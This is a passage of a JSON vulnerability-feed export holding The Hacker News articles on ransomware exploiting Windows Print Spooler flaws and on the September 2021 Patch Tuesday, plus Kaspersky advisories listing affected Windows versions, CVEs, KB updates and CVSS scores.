"https://thehackernews.com/2021/08/microsoft-releases-windows-updates-to.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:39:14", "description": "[![](https://thehackernews.com/images/-YB6xMmNkBp0/YRYuIvxMidI/AAAAAAAADhg/a2Ee5QkoQZw6JlnYhCIdg3Nk-HM2yu2wwCLcBGAsYHQ/s0/ransomware.jpg)](<https://thehackernews.com/images/-YB6xMmNkBp0/YRYuIvxMidI/AAAAAAAADhg/a2Ee5QkoQZw6JlnYhCIdg3Nk-HM2yu2wwCLcBGAsYHQ/s0/ransomware.jpg>)\n\nRansomware operators such as Magniber and Vice Society are actively exploiting vulnerabilities in Windows Print Spooler to compromise victims and spread laterally across a victim's network to deploy file-encrypting payloads on targeted systems.\n\n\"Multiple, distinct threat actors view this vulnerability as attractive to use during their attacks and may indicate that this vulnerability will continue to see more widespread adoption and incorporation by various adversaries moving forward,\" Cisco Talos [said](<https://blog.talosintelligence.com/2021/08/vice-society-ransomware-printnightmare.html>) in a report published Thursday, corroborating an [independent analysis](<https://www.crowdstrike.com/blog/magniber-ransomware-caught-using-printnightmare-vulnerability/>) from CrowdStrike, which observed instances of Magniber ransomware infections targeting entities in South Korea.\n\nWhile Magniber ransomware was first spotted in late 2017 singling out victims in South Korea through malvertising campaigns, Vice Society is a new entrant that emerged on the ransomware landscape in mid-2021, primarily targeting public school districts and other educational institutions. The attacks are said to have taken place since at least July 13.\n\nSince June, a series of \"PrintNightmare\" issues affecting the Windows print spooler service has come to light that could enable remote code execution when the component performs privileged file operations -\n\n * [**CVE-2021-1675**](<https://thehackernews.com/2021/06/researchers-leak-poc-exploit-for.html>) \\- Windows Print Spooler Remote Code Execution Vulnerability (Patched on June 8)\n * [**CVE-2021-34527**](<https://thehackernews.com/2021/07/microsofts-emergency-patch-fails-to.html>) \\- Windows Print Spooler Remote Code Execution Vulnerability (Patched on July 6-7)\n * [**CVE-2021-34481**](<https://thehackernews.com/2021/07/microsoft-warns-of-new-unpatched.html>) \\- Windows Print Spooler Remote Code Execution Vulnerability (Patched on August 10)\n * [**CVE-2021-36936**](<https://thehackernews.com/2021/08/microsoft-releases-windows-updates-to.html>) \\- Windows Print Spooler Remote Code Execution Vulnerability (Patched on August 10) \n * [**CVE-2021-36947**](<https://thehackernews.com/2021/08/microsoft-releases-windows-updates-to.html>) \\- Windows Print Spooler Remote Code Execution Vulnerability (Patched on August 10)\n * [**CVE-2021-34483**](<https://thehackernews.com/2021/08/microsoft-releases-windows-updates-to.html>) \\- Windows Print Spooler Elevation of Privilege Vulnerability (Patched on August 10)\n * [**CVE-2021-36958**](<https://thehackernews.com/2021/08/microsoft-security-bulletin-warns-of.html>) \\- Windows Print Spooler Remote Code Execution Vulnerability (Unpatched)\n\nCrowdStrike noted it was able to successfully prevent attempts made by the Magniber ransomware gang at exploiting the PrintNightmare vulnerability.\n\nVice Society, on the other hand, leveraged a variety of techniques to conduct post-compromise discovery and reconnaissance prior to bypassing native Windows protections for credential theft and privilege escalation.\n\n[![Ransomware](https://thehackernews.com/images/-JlsTWIHVgX4/YRYltMOGBKI/AAAAAAAADhQ/pzUFIcW6y0ABjOe3PuUQE5cPSnEOvGP9ACLcBGAsYHQ/s728-e1000/ransomware.jpg)](<https://thehackernews.com/images/-JlsTWIHVgX4/YRYltMOGBKI/AAAAAAAADhQ/pzUFIcW6y0ABjOe3PuUQE5cPSnEOvGP9ACLcBGAsYHQ/s0/ransomware.jpg>)\n\nSpecifically, the attacker is believed to have used a malicious library associated with the PrintNightmare flaw (CVE-2021-34527) to pivot to multiple systems across the environment and extract credentials from the victim.\n\n\"Adversaries are constantly refining their approach to the ransomware attack lifecycle as they strive to operate more effectively, efficiently, and evasively,\" the researchers said. \"The use of the vulnerability known as PrintNightmare shows that adversaries are paying close attention and will quickly incorporate new tools that they find useful for various purposes during their attacks.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-08-13T08:29:00", "type": "thn", "title": "Ransomware Gangs Exploiting Windows Print Spooler Vulnerabilities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34481", "CVE-2021-34483", "CVE-2021-34527", "CVE-2021-36936", "CVE-2021-36947", "CVE-2021-36958"], "modified": "2021-08-13T08:32:51", "id": "THN:6428957E9DED493169A2E63839F98667", "href": "https://thehackernews.com/2021/08/ransomware-gangs-exploiting-windows.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:37:18", "description": "[![](https://thehackernews.com/images/-n2LTDkSYrUk/YUF8P0ggXPI/AAAAAAAADzE/Jk_5Hbl3Sf4AUwjPizqDaRZLrxWgrDizgCLcBGAsYHQ/s0/windows-update-download.jpg)](<https://thehackernews.com/images/-n2LTDkSYrUk/YUF8P0ggXPI/AAAAAAAADzE/Jk_5Hbl3Sf4AUwjPizqDaRZLrxWgrDizgCLcBGAsYHQ/s0/windows-update-download.jpg>)\n\nA day after [Apple](<https://thehackernews.com/2021/09/apple-issues-urgent-updates-to-fix-new.html>) and [Google](<https://thehackernews.com/2021/09/update-google-chrome-to-patch-2-new.html>) rolled out urgent security updates, Microsoft has [pushed software fixes](<https://msrc.microsoft.com/update-guide/releaseNote/2021-Sep>) as part of its monthly Patch Tuesday release cycle to plug 66 security holes affecting Windows and other components such as Azure, Office, BitLocker, and Visual Studio, including an [actively exploited zero-day](<https://thehackernews.com/2021/09/new-0-day-attack-targeting-windows.html>) in its MSHTML Platform that came to light last week. \n\nOf the 66 flaws, three are rated Critical, 62 are rated Important, and one is rated Moderate in severity. This is aside from the [20 vulnerabilities](<https://docs.microsoft.com/en-us/deployedge/microsoft-edge-relnotes-security>) in the Chromium-based Microsoft Edge browser that the company addressed since the start of the month.\n\nThe most important of the updates concerns a patch for [CVE-2021-40444](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-40444>) (CVSS score: 8.8), an actively exploited remote code execution vulnerability in MSHTML that leverages malware-laced Microsoft Office documents, with EXPMON researchers noting \"the exploit uses logical flaws so the exploitation is perfectly reliable.\"\n\nAlso addressed is a publicly disclosed, but not actively exploited, zero-day flaw in Windows DNS. Designated as [CVE-2021-36968](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36968>), the elevation of privilege vulnerability is rated 7.8 in severity.\n\nOther flaws of note resolved by Microsoft involve a number of remote code execution bugs in Open Management Infrastructure ([CVE-2021-38647](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-38647>)), Windows WLAN AutoConfig Service ([CVE-2021-36965](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36965>)), Office ([CVE-2021-38659](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-38659>)), Visual Studio ([CVE-2021-36952](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36952>)), and Word ([CVE-2021-38656](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-38656>)) as well as a memory corruption flaw in Windows Scripting Engine ([CVE-2021-26435](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26435>))\n\nWhat's more, the Windows maker has rectified three privilege escalation flaws newly uncovered in its Print Spooler service ([CVE-2021-38667](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-38667>), [CVE-2021-38671](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-38671>), and [CVE-2021-40447](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-40447>)), while [CVE-2021-36975](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-36975>) and [CVE-2021-38639](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-38639>) (CVSS scores: 7.8), both of which relate to an elevation of privilege vulnerabilities in Win32k, are listed as 'exploitation more likely,' making it imperative that users move quickly to apply the security updates.\n\n### Software Patches From Other Vendors\n\nBesides Microsoft, patches have also been released by a number of other vendors to address several vulnerabilities, including -\n\n * [Adobe](<https://helpx.adobe.com/security.html/security/security-bulletin.ug.html>)\n * [Android](<https://source.android.com/security/bulletin/2021-09-01>)\n * [Apple](<https://thehackernews.com/2021/09/apple-issues-urgent-updates-to-fix-new.html>)\n * [Cisco](<https://tools.cisco.com/security/center/publicationListing.x>)\n * [Citrix](<https://support.citrix.com/search/#/All%20Products?ct=Software%20Updates,Security%20Bulletins&searchText=&sortBy=Modified%20date&pageIndex=1>)\n * Linux distributions [Oracle Linux](<https://linux.oracle.com/ords/f?p=105:21>), [Red Hat](<https://access.redhat.com/security/security-updates/#/security-advisories?q=&p=2&sort=portal_publication_date%20desc&rows=10&portal_advisory_type=Security%20Advisory&documentKind=Errata>), and [SUSE](<https://lists.suse.com/pipermail/sle-security-updates/2021-September/thread.html>)\n * [SAP](<https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=585106405>)\n * [Schneider Electric](<https://www.se.com/ww/en/work/support/cybersecurity/overview.jsp>), and\n * [Siemens](<https://new.siemens.com/global/en/products/services/cert.html#SecurityPublications>)\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-15T05:00:00", "type": "thn", "title": "Microsoft Releases Patch for Actively Exploited Windows Zero-Day Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26435", "CVE-2021-36952", "CVE-2021-36965", "CVE-2021-36968", "CVE-2021-36975", "CVE-2021-38639", "CVE-2021-38647", "CVE-2021-38656", "CVE-2021-38659", "CVE-2021-38667", "CVE-2021-38671", "CVE-2021-40444", "CVE-2021-40447"], "modified": "2021-09-15T05:00:22", "id": "THN:67ECC712AB360F5A56F2434CDBF6B51F", "href": "https://thehackernews.com/2021/09/microsoft-releases-patch-for-actively.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "kaspersky": [{"lastseen": "2023-05-23T16:31:13", "description": "### *Detect date*:\n07/15/2021\n\n### *Severity*:\nHigh\n\n### *Description*:\nAn elevation of privilege vulnerability was found in Microsoft Windows. Malicious users can exploit this vulnerability to gain privileges.\n\n### *Exploitation*:\nMalware exists for this vulnerability. Usually such malware is classified as Exploit. [More details](<https://threats.kaspersky.com/en/class/Exploit/>).\n\n### *Affected products*:\nWindows Versions Under Investigation\n\n### *Solution*:\nInstall necessary updates from the KB section, that are listed in your Windows Update (Windows Update usually can be accessed from the Control Panel)\n\n### *Original advisories*:\n[CVE-2021-34481](<https://api.msrc.microsoft.com/sug/v2.0/en-US/vulnerability/CVE-2021-34481>) \n\n\n### *Impacts*:\nPE \n\n### *Related products*:\n[Microsoft Windows](<https://threats.kaspersky.com/en/product/Microsoft-Windows/>)\n\n### *CVE-IDS*:\n[CVE-2021-34481](<https://vulners.com/cve/CVE-2021-34481>)4.6Warning\n\n### *Microsoft official advisories*:", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-15T00:00:00", "type": "kaspersky", "title": "KLA12231 PE vulnerability in Microsoft Windows", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34481"], "modified": "2021-07-27T00:00:00", "id": "KLA12231", "href": "https://threats.kaspersky.com/en/vulnerability/KLA12231/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-05-23T16:31:04", "description": "### *Detect date*:\n07/15/2021\n\n### *Severity*:\nHigh\n\n### *Description*:\nAn elevation of privilege vulnerability was found in Microsoft Products (Extended Support Update). Malicious users can exploit this vulnerability to gain privileges.\n\n### *Exploitation*:\nMalware exists for this vulnerability. Usually such malware is classified as Exploit. [More details](<https://threats.kaspersky.com/en/class/Exploit/>).\n\n### *Affected products*:\nWindows 10 Version 1809 for ARM64-based Systems \nWindows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation) \nWindows 10 for x64-based Systems \nWindows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation) \nWindows 10 Version 21H1 for 32-bit Systems \nWindows 10 Version 1909 for ARM64-based Systems \nWindows 7 for 32-bit Systems Service Pack 1 \nWindows 8.1 for 32-bit systems \nWindows 10 for 32-bit Systems \nWindows Server 2012 \nWindows Server 2019 (Server Core installation) \nWindows 10 Version 1909 for x64-based Systems \nWindows Server 2012 R2 \nWindows 10 Version 20H2 for ARM64-based Systems \nWindows 10 Version 1909 for 32-bit Systems \nWindows 8.1 for x64-based systems \nWindows Server 2008 for 32-bit Systems Service Pack 2 \nWindows 10 Version 1607 for 32-bit Systems \nWindows Server 2012 (Server Core installation) \nWindows 7 for x64-based Systems Service Pack 1 \nWindows 10 Version 20H2 for 32-bit Systems \nWindows Server, version 2004 (Server Core installation) \nWindows 10 Version 2004 for x64-based Systems \nWindows 10 Version 2004 for ARM64-based Systems \nWindows Server 2008 R2 for x64-based Systems Service Pack 1 \nWindows Server 2019 \nWindows Server 2008 for x64-based Systems Service Pack 2 \nWindows Server, version 20H2 (Server Core Installation) \nWindows 10 Version 21H1 for x64-based Systems \nWindows Server 2016 \nWindows 10 Version 1607 for x64-based Systems \nWindows 10 Version 20H2 for x64-based Systems \nWindows 10 Version 21H1 for ARM64-based Systems \nWindows 10 Version 1809 for 32-bit Systems \nWindows Server 2012 R2 (Server Core installation) \nWindows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) \nWindows 10 Version 1809 for x64-based Systems \nWindows Server 2016 (Server Core installation) \nWindows RT 8.1 \nWindows 10 Version 2004 for 32-bit Systems\n\n### *Solution*:\nInstall necessary updates from the KB section, that are listed in your Windows Update (Windows Update usually can be accessed from the Control Panel)\n\n### *Original advisories*:\n[CVE-2021-34481](<https://nvd.nist.gov/vuln/detail/CVE-2021-34481>) \n\n\n### *Impacts*:\nPE \n\n### *Related products*:\n[Microsoft Windows](<https://threats.kaspersky.com/en/product/Microsoft-Windows/>)\n\n### *CVE-IDS*:\n[CVE-2021-34481](<https://vulners.com/cve/CVE-2021-34481>)4.6Warning", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-15T00:00:00", "type": "kaspersky", "title": "KLA12246 PE vulnerability in Microsoft Products (ESU)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34481"], "modified": "2021-08-04T00:00:00", "id": "KLA12246", "href": "https://threats.kaspersky.com/en/vulnerability/KLA12246/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-05-27T14:56:59", "description": "### *Detect date*:\n09/14/2021\n\n### *Severity*:\nCritical\n\n### *Description*:\nMultiple vulnerabilities were found in Microsoft Products (Extended Security Update). Malicious users can exploit these vulnerabilities to obtain sensitive information, gain privileges, cause denial of service, spoof user interface, execute arbitrary code.\n\n### *Affected products*:\nWindows Server 2012 R2 (Server Core installation) \nWindows 10 Version 21H1 for x64-based Systems \nWindows Server 2008 for 32-bit Systems Service Pack 2 \nWindows 10 Version 1909 for 32-bit Systems \nWindows Server 2022 \nWindows Server 2022 (Server Core installation) \nWindows 7 for 32-bit Systems Service Pack 1 \nWindows Server 2008 R2 for x64-based Systems Service Pack 1 \nWindows Server, version 2004 (Server Core installation) \nWindows Server 2016 (Server Core installation) \nWindows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation) \nWindows 10 Version 1809 for ARM64-based Systems \nWindows 10 Version 20H2 for ARM64-based Systems \nWindows 10 Version 1809 for x64-based Systems \nWindows 10 Version 2004 for ARM64-based Systems \nWindows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) \nWindows Server 2016 \nWindows 10 Version 2004 for x64-based Systems \nWindows 10 Version 1909 for x64-based Systems \nWindows Server 2012 (Server Core installation) \nWindows 10 Version 2004 for 32-bit Systems \nWindows 10 Version 1607 for 32-bit Systems \nWindows 10 Version 1909 for ARM64-based Systems \nWindows 8.1 for x64-based systems \nWindows RT 8.1 \nWindows 10 for x64-based Systems \nWindows Server 2012 R2 \nWindows Server 2012 \nWindows 10 Version 1809 for 32-bit Systems \nWindows 10 Version 21H1 for 32-bit Systems \nWindows Server 2019 \nWindows 10 Version 1607 for x64-based Systems \nWindows 8.1 for 32-bit systems \nWindows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation) \nWindows Server 2019 (Server Core installation) \nWindows 10 Version 20H2 for x64-based Systems \nWindows 7 for x64-based Systems Service Pack 1 \nWindows Server 2008 for x64-based Systems Service Pack 2 \nWindows 10 Version 21H1 for ARM64-based Systems \nWindows Server, version 20H2 (Server Core Installation) \nWindows 10 for 32-bit Systems \nWindows 10 Version 20H2 for 32-bit Systems\n\n### *Solution*:\nInstall necessary updates from the KB section, that are listed in your Windows Update (Windows Update usually can be accessed from the Control Panel)\n\n### *Original advisories*:\n[CVE-2021-38635](<https://nvd.nist.gov/vuln/detail/CVE-2021-38635>) \n[CVE-2021-36962](<https://nvd.nist.gov/vuln/detail/CVE-2021-36962>) \n[CVE-2021-38628](<https://nvd.nist.gov/vuln/detail/CVE-2021-38628>) \n[CVE-2021-36961](<https://nvd.nist.gov/vuln/detail/CVE-2021-36961>) \n[CVE-2021-38671](<https://nvd.nist.gov/vuln/detail/CVE-2021-38671>) \n[CVE-2021-26435](<https://nvd.nist.gov/vuln/detail/CVE-2021-26435>) \n[CVE-2021-38630](<https://nvd.nist.gov/vuln/detail/CVE-2021-38630>) \n[CVE-2021-36969](<https://nvd.nist.gov/vuln/detail/CVE-2021-36969>) \n[CVE-2021-36955](<https://nvd.nist.gov/vuln/detail/CVE-2021-36955>) \n[CVE-2021-38638](<https://nvd.nist.gov/vuln/detail/CVE-2021-38638>) \n[CVE-2021-36964](<https://nvd.nist.gov/vuln/detail/CVE-2021-36964>) \n[CVE-2021-38629](<https://nvd.nist.gov/vuln/detail/CVE-2021-38629>) \n[CVE-2021-40447](<https://nvd.nist.gov/vuln/detail/CVE-2021-40447>) \n[CVE-2021-38639](<https://nvd.nist.gov/vuln/detail/CVE-2021-38639>) \n[CVE-2021-36959](<https://nvd.nist.gov/vuln/detail/CVE-2021-36959>) \n[CVE-2021-38667](<https://nvd.nist.gov/vuln/detail/CVE-2021-38667>) \n[CVE-2021-38626](<https://nvd.nist.gov/vuln/detail/CVE-2021-38626>) \n[CVE-2021-38636](<https://nvd.nist.gov/vuln/detail/CVE-2021-38636>) \n[CVE-2021-36960](<https://nvd.nist.gov/vuln/detail/CVE-2021-36960>) \n[CVE-2021-36965](<https://nvd.nist.gov/vuln/detail/CVE-2021-36965>) \n[CVE-2021-36968](<https://nvd.nist.gov/vuln/detail/CVE-2021-36968>) \n[CVE-2021-36963](<https://nvd.nist.gov/vuln/detail/CVE-2021-36963>) \n[CVE-2021-38625](<https://nvd.nist.gov/vuln/detail/CVE-2021-38625>) \n[CVE-2021-38633](<https://nvd.nist.gov/vuln/detail/CVE-2021-38633>) \n\n\n### *Impacts*:\nACE \n\n### *Related products*:\n[Microsoft Windows](<https://threats.kaspersky.com/en/product/Microsoft-Windows/>)\n\n### *KB list*:\n[5005633](<http://support.microsoft.com/kb/5005633>) \n[5005606](<http://support.microsoft.com/kb/5005606>) \n[5005615](<http://support.microsoft.com/kb/5005615>) \n[5005618](<http://support.microsoft.com/kb/5005618>)", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-09-14T00:00:00", "type": "kaspersky", "title": "KLA12289 Multiple vulnerabilities in Microsoft Products (ESU)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26435", "CVE-2021-36955", "CVE-2021-36959", "CVE-2021-36960", "CVE-2021-36961", "CVE-2021-36962", "CVE-2021-36963", "CVE-2021-36964", "CVE-2021-36965", "CVE-2021-36968", "CVE-2021-36969", "CVE-2021-38625", "CVE-2021-38626", "CVE-2021-38628", "CVE-2021-38629", "CVE-2021-38630", "CVE-2021-38633", "CVE-2021-38635", "CVE-2021-38636", "CVE-2021-38638", "CVE-2021-38639", "CVE-2021-38667", "CVE-2021-38671", "CVE-2021-40447"], "modified": "2021-09-16T00:00:00", "id": "KLA12289", "href": "https://threats.kaspersky.com/en/vulnerability/KLA12289/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-05-27T14:56:57", "description": "### *Detect date*:\n09/14/2021\n\n### *Severity*:\nCritical\n\n### *Description*:\nMultiple vulnerabilities were found in Microsoft Windows. Malicious users can exploit these vulnerabilities to gain privileges, obtain sensitive information, cause denial of service, bypass security restrictions, execute arbitrary code, spoof user interface.\n\n### *Exploitation*:\nMalware exists for this vulnerability. Usually such malware is classified as Exploit. [More details](<https://threats.kaspersky.com/en/class/Exploit/>).\n\n### *Affected products*:\nWindows Server 2012 R2 (Server Core installation) \nWindows 10 Version 21H1 for x64-based Systems \nWindows Server 2008 for 32-bit Systems Service Pack 2 \nWindows 10 Version 1909 for 32-bit Systems \nWindows Server 2022 \nWindows Server 2022 (Server Core installation) \nWindows 7 for 32-bit Systems Service Pack 1 \nWindows Server 2008 R2 for x64-based Systems Service Pack 1 \nWindows Server, version 2004 (Server Core installation) \nWindows Server 2016 (Server Core installation) \nWindows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation) \nWindows 10 Version 1809 for ARM64-based Systems \nWindows 10 Version 20H2 for ARM64-based Systems \nWindows 10 Version 1809 for x64-based Systems \nWindows 10 Version 2004 for ARM64-based Systems \nWindows 10 Version 2004 for x64-based Systems \nWindows Server 2016 \nWindows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation) \nWindows 10 Version 1909 for x64-based Systems \nHEVC Video Extensions \nWindows Server 2012 (Server Core installation) \nWindows 10 Version 2004 for 32-bit Systems \nWindows 10 Version 1607 for 32-bit Systems \nWindows 10 Version 1909 for ARM64-based Systems \nWindows 8.1 for x64-based systems \nWindows 10 for x64-based Systems \nWindows RT 8.1 \nWindows Server 2012 R2 \nWindows Server 2012 \nWindows 10 Version 1809 for 32-bit Systems \nWindows 10 Version 21H1 for 32-bit Systems \nWindows Server 2019 \nWindows 10 Version 1607 for x64-based Systems \nWindows 8.1 for 32-bit systems \nWindows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation) \nWindows Server 2019 (Server Core installation) \nWindows 10 Version 20H2 for x64-based Systems \nWindows 7 for x64-based Systems Service Pack 1 \nWindows Server 2008 for x64-based Systems Service Pack 2 \nWindows 10 Version 21H1 for ARM64-based Systems \nWindows Server, version 20H2 (Server Core Installation) \nWindows 10 for 32-bit Systems \nWindows 10 Version 20H2 for 32-bit Systems\n\n### *Solution*:\nInstall necessary updates from the KB section, that are listed in your Windows Update (Windows Update usually can be accessed from the Control Panel)\n\n### *Original advisories*:\n[CVE-2021-36973](<https://nvd.nist.gov/vuln/detail/CVE-2021-36973>) \n[CVE-2021-38635](<https://nvd.nist.gov/vuln/detail/CVE-2021-38635>) \n[CVE-2021-36962](<https://nvd.nist.gov/vuln/detail/CVE-2021-36962>) \n[CVE-2021-38628](<https://nvd.nist.gov/vuln/detail/CVE-2021-38628>) \n[CVE-2021-36961](<https://nvd.nist.gov/vuln/detail/CVE-2021-36961>) \n[CVE-2021-38638](<https://nvd.nist.gov/vuln/detail/CVE-2021-38638>) \n[CVE-2021-36964](<https://nvd.nist.gov/vuln/detail/CVE-2021-36964>) \n[CVE-2021-38632](<https://nvd.nist.gov/vuln/detail/CVE-2021-38632>) \n[CVE-2021-38644](<https://nvd.nist.gov/vuln/detail/CVE-2021-38644>) \n[CVE-2021-36967](<https://nvd.nist.gov/vuln/detail/CVE-2021-36967>) \n[CVE-2021-36959](<https://nvd.nist.gov/vuln/detail/CVE-2021-36959>) \n[CVE-2021-36960](<https://nvd.nist.gov/vuln/detail/CVE-2021-36960>) \n[CVE-2021-38636](<https://nvd.nist.gov/vuln/detail/CVE-2021-38636>) \n[CVE-2021-38634](<https://nvd.nist.gov/vuln/detail/CVE-2021-38634>) \n[CVE-2021-36972](<https://nvd.nist.gov/vuln/detail/CVE-2021-36972>) \n[CVE-2021-36969](<https://nvd.nist.gov/vuln/detail/CVE-2021-36969>) \n[CVE-2021-26435](<https://nvd.nist.gov/vuln/detail/CVE-2021-26435>) \n[CVE-2021-36955](<https://nvd.nist.gov/vuln/detail/CVE-2021-36955>) \n[CVE-2021-38630](<https://nvd.nist.gov/vuln/detail/CVE-2021-38630>) \n[CVE-2021-38671](<https://nvd.nist.gov/vuln/detail/CVE-2021-38671>) \n[CVE-2021-40447](<https://nvd.nist.gov/vuln/detail/CVE-2021-40447>) 